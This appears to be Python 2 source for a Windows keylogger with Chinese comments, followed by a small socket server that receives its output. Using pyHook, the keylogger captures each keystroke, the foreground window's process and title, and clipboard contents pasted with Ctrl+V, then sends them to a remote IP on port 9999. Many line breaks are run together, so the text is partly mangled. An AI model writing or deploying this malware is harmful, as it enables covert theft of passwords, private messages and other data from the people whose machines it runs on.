# -*- coding:gb2312 -*-from ctypes import*
import pythoncom
import pyHook
import win32clipboard
import socket
import threadingdef send(message):#目标地址ip/URL及端口target_host = "***.***.***.***"target_port = 9999#创建一个socket对象client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)#连接主机
    client.connect((target_host,target_port))#发送数据client.send("GET/HTTP/1.1\r\n"+message+"\r\n\r\n")#接受响应response = client.recv(4096)#--------------------------------------------------
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = Nonedef get_current_process():#获取最上层的窗口句柄hwnd = user32.GetForegroundWindow()#获取进程IDpid = c_ulong(0)user32.GetWindowThreadProcessId(hwnd,byref(pid))#将进程ID存入变量process_id = "%d"%pid.value#申请内存executable = create_string_buffer("\x00"*512)h_process = kernel32.OpenProcess(0x400|0x10,False,pid)psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)#读取窗口标题windows_title = create_string_buffer("\x00"*512)length = user32.GetWindowTextA(hwnd,byref(windows_title),512)#发送message = process_id+"    "+executable.value+"    "+windows_title.valuesend(message)#关闭handows
    kernel32.CloseHandle(hwnd)kernel32.CloseHandle(h_process)#定义击键监听事件函数
def KeyStroke(event):global current_window#检测目标窗口是否发生转移(换了其他窗口就监听其他窗口)if event.WindowName != current_window:#函数调用
        get_current_process()#检查击键是否为常规按键（非组合键）并发送if event.Ascii >32 and event.Ascii < 127:message = chr(event.Ascii)send(message)else:#如果发现Ctrl+v事件，酒吧粘贴板内容发送if event.Key == "V":win32clipboard.OpenClipboard()pasted_value = win32clipboard.GetClipboardData()win32clipboard.CloseClipboard()message = pasted_valuesend(message)else:send(event.Key)#监听下一个击键事件return True
#创建并注册hook管理器

kl = pyHook.HookManager()
kl.KeyDown = KeyStroke#注册hook并执行
kl.HookKeyboard()
pythoncom.PumpMessages()

# -*- coding:gb2312 -*-
import socket
import threading#监听的ip及端口
bind_ip = "127.0.0.1"
bind_port = 9999server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)server.bind((bind_ip,bind_port))server.listen(5)print"[*]Listening on %s:%d"%(bind_ip,bind_port)def handle_client(client_socket):request = client_socket.recv(1024)print"[*]Received:%s"%requestclient_socket.send("ok!")client_socket.close()while True:client,addr = server.accept()print"[*]Accept connection from:%s:%d"%(addr[0],addr[1])client_handler = threading.Thread(target=handle_client,args=(client,))client_handler.start()